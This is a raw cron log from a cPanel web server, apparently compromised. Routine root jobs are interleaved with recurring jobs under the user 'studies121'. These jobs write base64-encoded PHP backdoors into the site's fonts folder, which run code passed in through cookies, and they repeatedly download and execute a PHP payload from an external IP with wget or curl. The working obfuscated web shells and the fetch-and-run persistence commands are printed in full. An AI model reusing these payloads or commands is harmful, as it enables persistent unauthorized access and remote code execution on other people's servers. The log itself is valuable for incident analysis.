Sep  9 01:58:01 ip-184-168-122-23 CROND[24599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:58:01 ip-184-168-122-23 CROND[24600]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:58:01 ip-184-168-122-23 CROND[24601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:58:01 ip-184-168-122-23 CROND[24602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:59:01 ip-184-168-122-23 CROND[24687]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:59:01 ip-184-168-122-23 CROND[24689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:59:01 ip-184-168-122-23 CROND[24688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:59:01 ip-184-168-122-23 CROND[24691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:00:01 ip-184-168-122-23 CROND[24821]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:00:01 ip-184-168-122-23 CROND[24820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:00:01 ip-184-168-122-23 CROND[24824]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 02:00:01 ip-184-168-122-23 CROND[24825]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:00:01 ip-184-168-122-23 CROND[24826]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:00:01 ip-184-168-122-23 CROND[24830]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep  9 02:00:01 ip-184-168-122-23 CROND[24829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:00:01 ip-184-168-122-23 CROND[24828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:00:01 ip-184-168-122-23 CROND[24834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:00:01 ip-184-168-122-23 CROND[24833]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 02:01:01 ip-184-168-122-23 CROND[24942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:01:01 ip-184-168-122-23 CROND[24944]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 02:01:01 ip-184-168-122-23 CROND[24947]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 02:01:01 ip-184-168-122-23 CROND[24948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:01:01 ip-184-168-122-23 CROND[24949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:01:01 ip-184-168-122-23 CROND[24950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24947]: starting 0anacron
Sep  9 02:01:01 ip-184-168-122-23 anacron[24964]: Anacron started on 2026-09-09
Sep  9 02:01:01 ip-184-168-122-23 anacron[24964]: Normal exit (0 jobs run)
Sep  9 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24966]: finished 0anacron
Sep  9 02:02:02 ip-184-168-122-23 CROND[25119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:02:02 ip-184-168-122-23 CROND[25126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:02:02 ip-184-168-122-23 CROND[25124]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:02:02 ip-184-168-122-23 CROND[25125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:02:02 ip-184-168-122-23 CROND[25127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:03:01 ip-184-168-122-23 CROND[25203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:03:01 ip-184-168-122-23 CROND[25205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:03:01 ip-184-168-122-23 CROND[25206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:03:01 ip-184-168-122-23 CROND[25207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:04:01 ip-184-168-122-23 CROND[25289]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:04:01 ip-184-168-122-23 CROND[25290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:04:01 ip-184-168-122-23 CROND[25291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:04:01 ip-184-168-122-23 CROND[25293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:04:01 ip-184-168-122-23 CROND[25294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:05:01 ip-184-168-122-23 CROND[25378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:05:01 ip-184-168-122-23 CROND[25385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:05:01 ip-184-168-122-23 CROND[25388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:05:01 ip-184-168-122-23 CROND[25389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:05:01 ip-184-168-122-23 CROND[25391]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 02:05:01 ip-184-168-122-23 CROND[25390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:05:01 ip-184-168-122-23 CROND[25397]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:06:01 ip-184-168-122-23 CROND[25480]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:06:01 ip-184-168-122-23 CROND[25482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:06:01 ip-184-168-122-23 CROND[25485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:06:01 ip-184-168-122-23 CROND[25484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:06:01 ip-184-168-122-23 CROND[25487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:07:02 ip-184-168-122-23 CROND[25576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:07:02 ip-184-168-122-23 CROND[25577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:07:02 ip-184-168-122-23 CROND[25579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:07:02 ip-184-168-122-23 CROND[25578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:08:01 ip-184-168-122-23 CROND[25659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:08:01 ip-184-168-122-23 CROND[25661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:08:01 ip-184-168-122-23 CROND[25662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:08:01 ip-184-168-122-23 CROND[25663]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:08:01 ip-184-168-122-23 CROND[25664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:09:01 ip-184-168-122-23 CROND[25831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:09:01 ip-184-168-122-23 CROND[25832]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 02:09:01 ip-184-168-122-23 CROND[25834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:09:01 ip-184-168-122-23 CROND[25836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:09:01 ip-184-168-122-23 CROND[25838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
